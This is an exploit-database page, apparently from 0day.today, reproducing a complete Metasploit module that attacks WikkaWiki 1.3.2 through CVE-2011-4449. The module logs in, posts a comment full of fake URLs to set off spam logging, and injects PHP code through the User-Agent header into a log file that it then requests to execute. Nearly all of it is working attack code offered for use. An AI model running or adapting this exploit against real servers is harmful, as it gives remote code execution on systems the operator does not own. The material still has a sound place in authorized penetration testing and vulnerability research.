[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WikkaWiki 1.3.2 Spam Logging PHP Injection

Author
metasploit
Risk
[
Security Risk High
]
0day-ID
0day-ID-18243
Category
web applications
Date add
12-05-2012
Platform
php
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in WikkaWiki.  When the spam logging
        feature is enabled, it is possible to inject PHP code into the spam log file via the
        UserAgent header , and then request it to execute our payload.  There are at least
        three different ways to trigger spam protection, this module does so by generating
        10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

          Please note that in order to use the injection, you must manually pick a page
        first that allows you to add a comment, and then set it as 'PAGE'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',   #Initial discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-4449'],
          ['OSVDB', '77391'],
          ['EDB', '18177'],
          ['URL', 'http://wush.net/trac/wikka/ticket/1098']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => ['php'],
      'Targets'        =>
        [
          ['WikkaWiki 1.3.2 r1814', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 30 2011",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'WikkaWiki username']),
        OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
        OptString.new('PAGE',      [true, 'Page to inject']),
        OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
      ], self.class)
  end


  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{target_uri.path}wikka.php?wakka=HomePage"
    })

    if res and res.body =~ /Powered by WikkaWiki/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  #
  # Get the cookie before we do any of that login/exploity stuff
  #
  def get_cookie
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{@base}wikka.php"
    })

    # Get the cookie in this format:
    # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
    if res and res.headers['Set-Cookie']
      cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
    else
      raise RuntimeError, "#{@peer} - No cookie found, will not continue"
    end

    cookie
  end


  #
  # Do login, and then return the cookie that contains our credential
  #
  def login(cookie)
    # Send a request to the login page so we can obtain some hidden values needed for login
    uri = "#{@base}wikka.php?wakka=UserSettings"
    res = send_request_raw({
      'method'  => 'GET',
      'uri'     => uri,
      'cookie'  => cookie
    })

    # Extract the hidden fields
    login = {}
    if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
      fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
      fields.each do |name, value|
        login[name] = value
      end
    else
      raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
    end

    # Add the rest of fields required for login
    login['action']       = 'login'
    login['name']         = datastore['USERNAME']
    login['password']     = datastore['PASSWORD']
    login['do_redirect']  = 'on'
    login['submit']       = "Login"
    login['confpassword'] = ''
    login['email']        = ''

    port = (rport.to_i == 80) ? "" : ":#{rport}"
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
      'vars_post' => login
    })

    if res and res.headers['Set-Cookie'] =~ /user_name/
      user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
      pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
      cookie_cred = "#{cookie}; #{user}; #{pass}"
    else
      cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
      raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
    end

    return cookie_cred
  end


  #
  # After login, we inject the PHP payload
  #
  def inject_exec(cookie)
    # Get the necessary fields in order to post a comment
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
      'cookie' => cookie
    })

    fields = {}
    if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
      $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
        fields[n] = v
      end
    else
      raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
    end

    # Generate enough URLs to trigger spam logging
    urls = ''
    10.times do |i|
      urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
    end

    # Add more fields
    fields['body']   = urls
    fields['submit'] = 'Add'

    # Inject payload
    b64_payload = Rex::Text.encode_base64(payload.encoded)
    port = (rport.to_i == 80) ? "" : ":#{rport}"
    uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
    post_data = ""
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
      'vars_post' => fields,
      'agent'     => "<?php #{payload.encoded} ?>"
    })

    send_request_raw({
      'method' => 'GET',
      'uri'    => "#{@base}spamlog.txt.php"
    })
  end


  def exploit
    @peer = "#{rhost}:#{rport}"

    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    print_status("#{@peer} - Getting cookie")
    cookie = get_cookie

    print_status("#{@peer} - Logging in")
    cred = login(cookie)

    print_status("#{@peer} - Triggering spam logging")
    inject_exec(cred)

    handler
  end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end



#  0day.today [2024-12-26]  #